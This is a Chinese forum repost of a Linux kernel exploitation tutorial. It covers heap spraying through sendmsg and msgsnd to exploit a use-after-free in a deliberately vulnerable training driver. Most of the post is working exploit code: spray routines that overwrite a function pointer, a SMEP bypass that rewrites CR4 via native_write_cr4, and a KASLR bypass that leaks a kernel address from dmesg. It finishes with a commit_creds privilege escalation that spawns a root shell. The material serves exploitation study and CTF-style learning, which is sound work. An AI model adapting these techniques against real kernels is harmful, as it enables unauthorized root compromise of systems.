查看: 185|回复: 0

[Pwn] linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

[复制链接]
发表于 2020-5-4 11:04:47 | 显示全部楼层 |阅读模式

一、 堆喷函数介绍
在linux内核下进行堆喷射时,首先需要注意喷射的堆块的大小,因为只有大小相近的堆块才保存在相同的cache中。具体的cache块分布如下图:

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
cache_distrubute.png
本文的漏洞例子中uaf_obj对象的大小是84,实际申请时会分配一个96字节的堆块。本例中我们可以申请96大小的k_object对象,并在堆块上任意布置数据,但这样的话就太简单了点,实际漏洞利用中怎么会这么巧就让你控制堆上的数据呢。所以我们需要找到某些用户可调用的函数,它会在内核空间申请指定大小的chunk(本例中我们希望能分配到96字节的块),并把用户的数据拷贝过去。
(1)sendmsg
staticint ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
  struct msghdr *msg_sys, unsignedint flags,
  struct used_address *used_address,
  unsignedint allowed_msghdr_flags)
  {
  struct compat_msghdr __user *msg_compat =
  (struct compat_msghdr __user *)msg;
  struct sockaddr_storage address;
  struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
  unsignedchar ctl[sizeof(struct cmsghdr) + 20]
  __aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl,20是ipv6_pktinfo结构的大小
  unsignedchar*ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl
  int ctl_len;
  ssize_t err;
  msg_sys->msg_name = &address;
  if(MSG_CMSG_COMPAT & flags)
  err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
  else
  err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys,只拷贝msghdr消息头部
  if(err < 0)
  return err;
  err = -ENOBUFS;
  if(msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX,就把ctl_len赋值为用户提供的msg_controllen
  goto out_freeiov;
  flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
  ctl_len = msg_sys->msg_controllen;
  if((MSG_CMSG_COMPAT & flags) && ctl_len) {
  err =
  cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
  sizeof(ctl));
  if(err)
  goto out_freeiov;
  ctl_buf = msg_sys->msg_control;
  ctl_len = msg_sys->msg_controllen;
  } elseif(ctl_len) {
  BUILD_BUG_ON(sizeof(struct cmsghdr) !=
  CMSG_ALIGN(sizeof(struct cmsghdr)));
  if(ctl_len > sizeof(ctl)) {  //注意用户数据的size必须大于44字节
  ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块
  if(ctl_buf == NULL)
  goto out_freeiov;
  }
  err = -EFAULT;
  /* 注意,msg_sys->msg_control是用户可控的用户缓冲区;ctl_len是用户可控的长度。用户数据拷贝到ctl_buf内核空间。
  */
  if(copy_from_user(ctl_buf,
  (void __user __force *)msg_sys->msg_control,
  ctl_len))
  goto out_freectl;
  msg_sys->msg_control = ctl_buf;
  }
  msg_sys->msg_flags = flags;
  ...
  

结论:只要传入size大于44,就能控制kmalloc申请的内核空间的数据。
数据流
[size=1em]msg ---> msg_sys ---> msg_sys->msg_controllen ---> ctl_len
msg ---> msg_sys->msg_control ---> ctl_buf
利用流程
//限制: BUFF_SIZE > 44
  char buff[BUFF_SIZE];
  struct msghdr msg = {0};
  struct sockaddr_in addr = {0};
  int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  addr.sin_family = AF_INET;
  addr.sin_port = htons(6666);
  // 布置用户空间buff的内容
  msg.msg_control = buff;
  msg.msg_controllen = BUFF_SIZE;
  msg.msg_name = (caddr_t)&addr;
  msg.msg_namelen = sizeof(addr);
  // 假设此时已经产生释放对象,但指针未清空
  for(int i = 0; i < 100000; i++) {
  sendmsg(sockfd, &msg, 0);
  }
  // 触发UAF即可
  

(2)msgsnd
// /ipc/msg.c
  SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
  int, msgflg)
  {
  return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
  }
  // /ipc/msg.c
  long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
  int msgflg)
  {
  long mtype;
  if(get_user(mtype, &msgp->mtype))
  return-EFAULT;
  return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
  }
  // /ipc/msg.c
  staticlong do_msgsnd(int msqid, long mtype, void __user *mtext,
  size_t msgsz, int msgflg)
  {
  struct msg_queue *msq;
  struct msg_msg *msg;
  int err;
  struct ipc_namespace *ns;
  DEFINE_WAKE_Q(wake_q);
  ns = current->nsproxy->ipc_ns;
  if(msgsz > ns->msg_ctlmax || (long) msgsz < 0|| msqid < 0)
  return-EINVAL;
  if(mtype < 1)
  return-EINVAL;
  msg = load_msg(mtext, msgsz);  // 调用load_msg
  ...
  // /ipc/msgutil.c
  struct msg_msg *load_msg(constvoid __user *src, size_t len)
  {
  struct msg_msg *msg;
  struct msg_msgseg *seg;
  int err = -EFAULT;
  size_t alen;
  msg = alloc_msg(len);  // alloc_msg
  if(msg == NULL)
  return ERR_PTR(-ENOMEM);
  alen = min(len, DATALEN_MSG); // DATALEN_MSG
  if(copy_from_user(msg + 1, src, alen)) // copy1
  goto out_err;
  for(seg = msg->next; seg != NULL; seg = seg->next) {
  len -= alen;
  src = (char __user *)src + alen;
  alen = min(len, DATALEN_SEG);
  if(copy_from_user(seg + 1, src, alen)) // copy2
  goto out_err;
  }
  err = security_msg_msg_alloc(msg);
  if(err)
  goto out_err;
  return msg;
  out_err:
  free_msg(msg);
  return ERR_PTR(err);
  }
  // /ipc/msgutil.c
  #define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
  staticstruct msg_msg *alloc_msg(size_t len)
  {
  struct msg_msg *msg;
  struct msg_msgseg **pseg;
  size_t alen;
  alen = min(len, DATALEN_MSG);
  msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // 先分配了一个msg_msg结构大小
  ...
  

msgsnd()--->ksys_msgsnd()--->do_msgsnd()。
do_msgsnd()根据用户传递的buffer和size参数调用load_msg(mtext, msgsz),load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体(),然后拷贝用户空间的buffer紧跟msg_msg结构体的后面,相当于给buffer添加了一个头部,因为msg_msg结构体大小等于0x30,因此用户态的buffer大小等于xx-0x30。
结论:前0x30字节不可控。数据量越大(本文示例是96字节),发生阻塞可能性越大,120次发送足矣。
利用流程
// 只能控制0x30字节以后的内容
  struct{
  long mtype;
  char mtext[BUFF_SIZE];
  }msg;
  memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
  msg.mtext[BUFF_SIZE] = 0;
  int msqid = msgget(IPC_PRIVATE, 0644| IPC_CREAT);
  msg.mtype = 1; //必须 > 0
  // 假设此时已经产生释放对象,但指针未清空
  for(int i = 0; i < 120; i++)
  msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
  // 触发UAF即可
  

二、 漏洞分析(1)代码分析
我们以漏洞驱动-vuln_driver[1]来进行实践。vuln_driver驱动包含漏洞有任意地址读写、空指针引用、未初始化栈变量、UAF漏洞、缓冲区溢出。本文主要分析UAF漏洞及其利用。
// vuln_driver.c: do_ioctl()驱动号分配函数
  staticlong do_ioctl(struct file *filp, unsignedint cmd, unsignedlong args)
  {
  int ret;
  unsignedlong*p_arg = (unsignedlong*)args;
  ret = 0;
  switch(cmd) {
  case DRIVER_TEST:
  printk(KERN_WARNING "[x] Talking to device [x]\n");
  break;
  case ALLOC_UAF_OBJ:
  alloc_uaf_obj(args);
  break;
  case USE_UAF_OBJ:
  use_uaf_obj();
  break;
  case ALLOC_K_OBJ:
  alloc_k_obj((k_object *) args);
  break;
  case FREE_UAF_OBJ:
  free_uaf_obj();
  break;
  }
  return ret;
  }
  
//uaf对象的结构,包含一个函数指针fn,size=84
  typedefstruct uaf_obj
  {
  char uaf_first_buff[56];
  long arg;
  void(*fn)(long);
  char uaf_second_buff[12];
  }uaf_obj;
  
//k_object对象用于测试
  typedefstruct k_object
  {
  char kobj_buff[96];
  }k_object;
  

主要代码如下,漏洞就是在释放堆时,未将存放堆地址的全局变量清零。
// 1. uaf_callback() 一个简单的回调函数
  uaf_obj *global_uaf_obj = NULL;
  staticvoid uaf_callback(long num)
  {
  printk(KERN_WARNING "[-] Hit callback [-]\n");
  }
  // 2. 分配一个uaf对象,fn指向回调函数uaf_callback,第一个缓冲区uaf_first_buff填充"A"。global_uaf_obj全局变量指向该对象
  staticint alloc_uaf_obj(long __user arg)
  {
  struct uaf_obj *target;
  target = kmalloc(sizeof(uaf_obj), GFP_KERNEL);
  if(!target) {
  printk(KERN_WARNING "[-] Error no memory [-]\n");
  return-ENOMEM;
  }
  target->arg = arg;
  target->fn = uaf_callback;
  memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));
  global_uaf_obj = target;
  printk(KERN_WARNING "[x] Allocated uaf object [x]\n");
  return0;
  }
  // 3. 释放uaf对象,但未清空global_uaf_obj指针
  staticvoid free_uaf_obj(void)
  {
  kfree(global_uaf_obj);
  //global_uaf_obj = NULL
  printk(KERN_WARNING "[x] uaf object freed [x]");
  }
  // 4. 使用uaf对象,调用成员fn指向的函数
  staticvoid use_uaf_obj(void)
  {
  if(global_uaf_obj->fn)
  {
  //debug info
  printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg);
  global_uaf_obj->fn(global_uaf_obj->arg);
  }
  }
  // 5. 分配k_object对象,并从用户地址user_kobj拷贝数据到分配的地址
  staticint alloc_k_obj(k_object *user_kobj)
  {
  k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
  int ret;
  if(!trash_object) {
  printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n");
  return-ENOMEM;
  }
  ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
  printk(KERN_WARNING "[x] Allocated k_object [x]\n");
  return0;
  }
  

(2)利用思路
思路:如果uaf_obj被释放,但指向它的global_uaf_obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。
测试:本例中我们可以利用k_object对象来布置堆数据,将uaf_obj对象的fn指针覆盖为0x4242424242424242。
//完整代码见easy_uaf.c
  void use_after_free_kobj(int fd)
  {
  k_object *obj = malloc(sizeof(k_object));
  //60 bytes overwrites the last 4 bytes of the address
  memset(obj->buff, 0x42, 60);
  ioctl(fd, ALLOC_UAF_OBJ, NULL);
  ioctl(fd, FREE_UAF_OBJ, NULL);
  ioctl(fd, ALLOC_K_OBJ, obj);
  ioctl(fd, USE_UAF_OBJ, NULL);
  }
  

报错结果如下:

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
easy_uaf_fault.png三、 漏洞利用(1)绕过SMEP1. 绕过SMEP防护方法
CR4寄存器的第20位为1,则表示开启了SMEP,若执行到用户指令,就会报错"BUG: unable to handle kernel paging request at 0xxxxxx"。绕过SMEP的方法见我的笔记https://www.jianshu.com/p/6f1d2f3f5126。不过最简单的方法是通过`native_write_cr4()`函数:
// /arch/x86/include/asm/special_insns.h
  staticinlinevoid native_write_cr4(unsignedlong val)
  {
  asmvolatile("mov %0,%%cr4": : "r"(val), "m"(__force_order));
  }
  

本文用到的vuln_driver简化了利用过程,否则我们还需要控制第1个参数,所以利用目标就是:global_uaf_obj->fn(global_uaf_obj->arg) ---> native_write_cr4(global...->arg)。也即执行native_write_cr4(0x407f0)即可。
2. 堆喷函数
sendmsg注意:分配堆块必须大于44。
//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
  void use_after_free_sendmsg(int fd, size_t target, size_t arg)
  {
  char buff[BUFF_SIZE];
  struct msghdr msg={0};
  struct sockaddr_in addr={0};
  int sockfd = socket(AF_INET,SOCK_DGRAM,0);
  // 布置堆喷数据
  memset(buff,0x43,sizeof buff);
  memcpy(buff+56,&arg,sizeof(long));
  memcpy(buff+56+(sizeof(long)),&target,sizeof(long));
  addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
  addr.sin_family=AF_INET;
  addr.sin_port=htons(6666);
  // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小
  msg.msg_control=buff;
  msg.msg_controllen=BUFF_SIZE;
  msg.msg_name=(caddr_t)&addr;
  msg.msg_namelen= sizeof(addr);
  // 构造UAF对象
  ioctl(fd,ALLOC_UAF_OBJ,NULL);
  ioctl(fd,FREE_UAF_OBJ,NULL);
  //开始堆喷
  for(int i=0;i<10000;i++){
  sendmsg(sockfd,&msg,0);
  }
  //触发
  ioctl(fd,USE_UAF_OBJ,NULL);
  }
  
//用msgsnd构造堆喷
  int use_after_free_msgsnd(int fd, size_t target, size_t arg)
  {
  int new_len=BUFF_SIZE-48;
  struct{
  size_t mtype;
  char mtext[new_len];
  } msg;
  //布置堆喷数据,必须减去头部48字节
  memset(msg.mtext,0x42,new_len-1);
  memcpy(msg.mtext+56-48,&arg,sizeof(long));
  memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
  msg.mtext[new_len]=0;
  msg.mtype=1; //mtype必须 大于0
  // 创建消息队列
  int msqid=msgget(IPC_PRIVATE,0644| IPC_CREAT);
  // 构造UAF对象
  ioctl(fd, ALLOC_UAF_OBJ,NULL);
  ioctl(fd,FREE_UAF_OBJ,NULL);
  //开始堆喷
  for(int i=0;i<120;i++)
  msgsnd(msqid,&msg,sizeof(msg.mtext),0);
  //触发
  ioctl(fd,USE_UAF_OBJ,NULL);
  }
  

msgsnd注意:msgsnd堆喷必须减去头部长度48,前48字节不可控。
3. 绕过SMEP测试
完整代码见test_smep.c。
注意:暂时先关闭ASLR,单核启动,修改start.sh脚本即可。
int main()
  {
  size_t native_write_cr4_addr=0xffffffff81065a30;
  size_t fake_cr4=0x407e0;
  void*addr=mmap((void*)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0);
  void**fn=MMAP_ADDR;
  // 拷贝stub代码到 MMAP_ADDR
  memcpy(fn,stub,128);
  int fd=open(PATH,O_RDWR);
  //用于标识dmesg中字符串的开始
  ioctl(fd,DRIVER_TEST,NULL);
  /*
  use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
  use_after_free_sendmsg(fd,MMAP_ADDR,0);
  */
  use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
  use_after_free_msgsnd(fd,MMAP_ADDR,0);
  return0;
  }
  

修改cr4之前,执行用户代码会报错:

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
3-page_fault2.png
修改cr4之后,能够执行到用户代码:

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
4-succeed_smep_sendmsg.png(2)绕过KASLR1. 方法
注意:start.sh中开启ASLR。
目标:泄露kernel地址,获取native_write_cr4、prepare_kernel_cred、commit_creds函数地址。
说明:一般都会开启kptr_restrict保护,不能读取/proc/kallsyms,但是通常可以dmesg读取内核打印的信息。
方法:由dmesg可以想到,构造pagefault,利用内核打印信息来泄露kernel地址。

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
6-dmesg_kernel_addr.png
如上图所示,可以利用SyS_ioctl+0x79/0x90来泄露kernel地址,接下来只需寻找目标函数地址的相对偏移即可。
# [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
  / # cat /proc/kallsyms | grep native_write_cr4
  ffffffff81065a30 t native_write_cr4
  / # cat /proc/kallsyms | grep prepare_kernel_cred
  ffffffff810a6ca0 T prepare_kernel_cred
  / # cat /proc/kallsyms | grep commit_creds
  ffffffff810a68b0 T commit_creds
  

2. 步骤
·在子线程中触发page_fault,从dmesg读取打印信息·找到SyS_ioctl+0x79地址,计算kernel_base·计算3个目标函数地址
(3)整合exp1. 单核运行
//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
  void force_single_core()
  {
  cpu_set_t mask;
  CPU_ZERO(&mask);
  CPU_SET(0,&mask);
  if(sched_setaffinity(0,sizeof(mask),&mask))
  printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
  return;
  }
  

2. 泄露kernel基址
// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
  pid_t pid=fork();
  if(pid==0){
  do_page_fault();
  exit(0);
  }
  int status;
  wait(&status);    // 等子进程结束
  //sleep(10);
  printf("[+] Begin to leak address by dmesg![+]\n");
  size_t kernel_base = get_info_leak()-sys_ioctl_offset;
  printf("[+] Kernel base addr : %p [+] \n", kernel_base);
  native_write_cr4_addr+=kernel_base;
  prepare_kernel_cred_addr+=kernel_base;
  commit_creds_addr+=kernel_base;
  

3. 关闭smep,并提权
//关闭smep,并提权
  use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
  use_after_free_sendmsg(fd,get_root,0);   //MMAP_ADDR
  //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
  //use_after_free_msgsnd(fd,get_root,0);  //MMAP_ADDR
  if(getuid()==0)
  {
  printf("[+] Congratulations! You get root shell !!! [+]\n");
  system("/bin/sh");
  }
  

(4)问题
原文的exploit有问题,是将get_root()代码用mmap映射到0x100000000000,然后跳转过去执行,但是直接把代码拷贝过去会有地址引用错误。
#执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错
  gdb-peda$ x /10i $pc
  => 0x100000000000:    push   rbp
  0x100000000001:    mov    rbp,rsp
  0x100000000004:    push   rbx
  0x100000000005:    sub    rsp,0x8
  0x100000000009:
  mov    rbx,QWORD PTR [rip+0x2ce8ed]        # 0x1000002ce8fd
  0x100000000010:
  mov    rax,QWORD PTR [rip+0x2ce8ee]        # 0x1000002ce905
  0x100000000017:    mov    edi,0x0
  0x10000000001c:    call   rax
  0x10000000001e:    mov    rdi,rax
  0x100000000021:    call   rbx
  #报错信息如下:
  [   10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd
  [   10.424836] IP: [<0000100000000009>] 0x100000000009
  

解决:不需要将get_root()代码拷贝到0x100000000000,直接执行get_root()即可。
最后成功提权:

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
7-exp_succeed.png
exp代码见exp_heap_spray.c。
参考:
https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/
http://edvison.cn/2018/07/25/%E5%A0%86%E5%96%B7%E5%B0%84/[2]
https://github.com/invictus-0x90/vulnerable_linux_driver
https://turingsec.github.io/CVE-2016-0728/
说明:实验所需的驱动源码、bzImage、cpio文件见我的github[3]进行下载。本教程适合对漏洞提权有一定了解的同学阅读,具体可以看看我先知之前的文章,或者我的简书[4]。
本文首发于先知-linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用[5]
References
[1] 漏洞驱动-vuln_driver: https://github.com/invictus-0x90/vulnerable_linux_driver[2] http://edvison.cn/2018/07/25/%E5%A0%86%E5%96%B7%E5%B0%84/: http://edvison.cn/2018/07/25/堆喷射/[3] 我的github: https://github.com/bsauce/kernel_exploit_series[4] 我的简书: https://www.jianshu.com/u/a12c5b882be2[5] 先知-linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用: https://xz.aliyun.com/t/6286

  往期推荐
  Dlink&nbsp;getcfg.php远程敏感信息读取漏洞分析
  【linux内核userfaultfd使用】Balsn&nbsp;CTF&nbsp;2019&nbsp;-&nbsp;KrazyNote(一)
  【linux内核userfaultfd使用】Balsn&nbsp;CTF&nbsp;2019&nbsp;-&nbsp;KrazyNote(二)
  TP&nbsp;Link&nbsp;SR20&nbsp;ACE漏洞分析

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表